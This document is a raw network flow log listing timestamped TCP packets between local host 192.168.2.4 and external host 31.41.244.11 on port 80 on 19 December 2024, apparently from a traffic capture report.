Dec 19, 2024 06:09:21.366238117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.366295099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.367507935 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.367562056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.367604971 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.367652893 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.368833065 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.368886948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.368954897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.369004011 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.370219946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.370279074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.370332003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.370392084 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.371522903 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.371581078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.371638060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.371686935 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.372805119 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.372865915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.372910976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.372958899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.374409914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.374463081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.374469042 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.374532938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.375439882 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.375494957 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.375536919 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.375590086 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.376686096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.376739979 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.376785040 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.376835108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.377917051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.377979994 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.378037930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.378091097 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.379210949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.379266977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.379311085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.379367113 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.380496979 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.380512953 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.380552053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.380579948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.381711960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.381766081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.381794930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.381844997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.382993937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.383045912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.383070946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.383126974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.384334087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.384362936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.384434938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.385394096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.385443926 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.385499954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.385545969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.386600971 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.386667967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.386722088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.386766911 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.387835979 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.387886047 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.387940884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.387985945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.389050961 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.389106035 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.389153004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.389195919 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.390250921 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.390314102 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.390361071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.390418053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.391474009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.391530037 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.391585112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.391680956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.392680883 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.392740965 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.392793894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.392841101 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.393959999 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.394031048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.394078016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.394124985 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.395117998 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.395185947 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.395247936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.395301104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.396352053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.396421909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.396475077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.396523952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.397572994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.397624969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.397697926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.397747993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.398777962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.398839951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.398896933 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.398948908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.399990082 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.400043964 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.400132895 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.400186062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.401237965 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.401297092 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.401351929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.401403904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.402417898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.402475119 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.402543068 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.402594090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.403692961 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.403753996 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.403779984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.403831005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.404866934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.404916048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.404992104 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.405045033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.406069040 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.406122923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.406171083 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.406236887 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.407327890 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.407378912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.407454967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.407506943 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.408555031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.408608913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.408610106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.408659935 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.409744024 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.409796953 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.409884930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.409954071 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.410959005 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.411012888 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.411063910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.411117077 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.412205935 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.412261963 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.412285089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.412333965 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.413450003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.413506985 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.413575888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.413626909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.414629936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.414683104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.414741039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.414797068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.415863991 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.415901899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.415947914 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.415947914 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.417021036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.417083025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.417145967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.417191982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.418231010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.418291092 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.418359041 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.418463945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.419475079 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.419524908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.419615030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.419667959 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.420663118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.420715094 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.420804024 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.420859098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.421870947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.421931028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.421951056 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.422003984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.423041105 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.423094988 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.549069881 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.549114943 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.549141884 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.549200058 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.549459934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.549514055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.549566984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.549616098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.550244093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.550296068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.550370932 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.550431013 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.551296949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.551364899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.551379919 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.551430941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.552352905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.552414894 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.552463055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.552515030 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.553383112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.553455114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.553499937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.553553104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.554461956 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.554517031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.554563046 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.554563046 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.555464983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.555519104 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.555529118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.555576086 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.556523085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.556581020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.556657076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.556710005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.557620049 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.557674885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.557749987 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.557804108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.558624983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.558686018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.558752060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.558804989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.559624910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.559683084 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.559758902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.559813976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.560671091 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.560724974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.560781956 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.560833931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.561702013 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.561754942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.561822891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.561872005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.562727928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.562803030 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.562866926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.562922001 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.563811064 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.563864946 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.563915968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.563961029 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.564887047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.564946890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.565023899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.565082073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.565983057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.566047907 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.566117048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.566170931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.566993952 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.567049980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.567080975 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.567112923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.567955971 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.568038940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.568080902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.568186045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.568988085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.569061995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.569133997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.569199085 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.570028067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.570086002 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.570161104 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.570215940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.571115017 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.571182013 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.571183920 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.571238041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.572134018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.572202921 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.572242975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.572295904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.573153019 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.573209047 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.573281050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.573334932 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.574197054 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.574263096 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.574347019 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.574400902 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.575242043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.575305939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.575391054 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.575457096 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.576293945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.576349020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.576404095 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.576457977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.577315092 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.577373981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.577447891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.577502012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.578372002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.578435898 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.578485012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.578596115 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.579404116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.579464912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.579529047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.579581976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.580456018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.580512047 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.580588102 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.580641031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.581476927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.581543922 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.581598997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.581655979 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.582521915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.582576990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.582581043 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.582628012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.583564997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.583621979 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.583695889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.583743095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.584621906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.584678888 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.584747076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.584799051 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.585671902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.585731983 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.585782051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.585835934 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.586693048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.586761951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.586827040 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.586884022 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.587852001 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.587915897 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.587960958 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.588015079 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.588814020 CET	80	49787	31.41.244.11	192.168.2.4
